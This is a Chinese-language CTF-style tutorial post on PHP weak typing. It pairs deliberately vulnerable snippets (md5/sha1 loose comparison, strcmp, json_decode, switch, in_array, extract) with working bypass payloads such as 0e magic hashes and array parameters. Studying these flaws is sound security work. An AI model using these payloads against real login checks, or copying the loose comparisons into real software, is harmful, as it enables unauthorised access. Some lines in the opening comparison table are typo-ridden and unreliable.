nyyyddddn

php弱类型

2023/09/18

php弱类型:

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等
== 在进行比较的时候,会先将字符串类型转化成相同,再比较值
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

$a=”123”;@$b=123;
a==b; TRUE
a===b; FALSE
0==’ ‘; TRUE
‘1111’==TRUE; TRUE
‘0’==’false’; false
‘0’==false;true
0x01=1; FLASE
0x01=TRUE; TRUE
[0]=[NULL]; TRUE

NULL=FALSE; TRUE
0e123465==0e5555555; TRUE (0e绕过)

案例1 md5弱比较

1
2
方法1 0e绕过(0e 科学计数法)
方法2 md5处理数组的时候会返回null的值,可以传递两个数组进去使得null==null
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set("display_error",false);
error_reporting(0);
if($_POST['param1']!=$_POST['param2']&&md5($_POST["param1"])==md5($_POST['param2']))
{
die("success");
}
else
{
echo "fail";
}

?>
1
param1=QNKCDZO&param2=240610708 //0e绕过 success

案例2 sha1弱类型

1
2
方法1 0e绕过(0e 科学计数法)
方法2 sha1处理数组的时候会返回null的值,可以传递两个数组进去使得null==null
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
ini_set("display_error",false);
error_reporting(0);
$flag ="flag";

if(isset($_GET['name']) && isset($_GET['password']))
{
if($_GET['name'] == $_GET['password'] )
echo '<p>Your password can not be your name</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('FLAG:'.flag);
else
echo '<p>Invalid password.</p>';
}
else
{
echo "<p>Login first!</p>";
}
?>
1
?name[]=1&password[]=2 //md5和sha1无法处理数组传入会返回NULL NULL

案例3 json相关

1
2
3
4
5
==号在比较字符串和数字的时候会将字符串转换成数字再进行比较
"1234abcd" == 1234 true
"123abc" == 123 true
"abcd" == 0 true
字符串连续前几位是数字的话就会取这几位为转换的结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
ini_set("display_error",false);
error_reporting(0);
$flag ="flag";
$key = "adminasdasdasd";
if(isset($_GET['message']))
{
$message = json_decode($_GET['message']);
if($message->key ==$key)
{
echo flag;
}
else
{
echo "fail";
}
}
else
{
echo "------";
}
?>
1
2
?message={"key":0} //"adminasdasdasd"字符串和数字进行比较的时候会转换成数字
//"adminasdasdasd"转换成数字为0

案例4 switch

1
switch在比较的时候会将字符串转换成数字,转换方法参考上面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
$i ="3name";
switch ($i){
case 0:
case 1:
case 2:
echo "this is two";
break;
case 3:
echo "flag";
break;
}
?>
//echo flag switch case数字的时候强制把"3name"转换成数字进行比较,字符串开头包括什么数字就会转换成什么数字

案例5 strcmp

1
strcmp(string1,string2)	strcmp将string1和string2转换为ascii码相减 若返回0,代表两个字符串相等 ;若返回<0 ,代表string1 小于 string2;若返回>0,代表string1 大于 string2
1
strcmp在比较字符串和数组的时候会返回0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

highlight_file(__FILE__);
include "flag.php";
$password="asdasdad";
if (isset($POST['password'])){
if (strcmp($_POST['password'],$password)==0) {
echo "Right!!!login success";
echo $flag;
exit;
}
else{
echo "Wrong password..";
}
}
?>
1
password[]=1

案例6 in_array

1
2
3
4
5
6
7
8
9
<?php

highlight_file(__FILE__);
$array = [0, 1, 2, '3'];
var_dump(in_array('abc', $array));
var_dump(in_array('1bc', $array));
var_dump(in_array(3, $array));

?>
1
运行结果bool(true) bool(true) bool(true) 
1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$array = [0, 1, 2, '3'];
var_dump(array_search('abc', $array));
var_dump(array_search('1bc', $array));
var_dump(array_search(3, $array));
var_dump(array_search('3', $array));
?>
1
int(0) int(1) int(3) int(3)  

变量覆盖extract

1
extract(); 将输入内容导入符号表,会存在变量覆盖
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
include "flag.php";
extract($_GET);
if (isset($gift)){
$content = trim(file_get_contents($flag));
if ($gift == $content) {
echo $flag;
}
}
else{
echo 'oh..';
}
?>
1
?gift=&content=
CATALOG
  1. 1. php弱类型:
    1. 1.1. 案例1 md5弱比较
    2. 1.2. 案例2 sha1弱类型
    3. 1.3. 案例3 json相关
    4. 1.4. 案例4 switch
    5. 1.5. 案例5 strcmp
    6. 1.6. 案例6 in_array
    7. 1.7. 案例7 array_search
  2. 2. 变量覆盖extract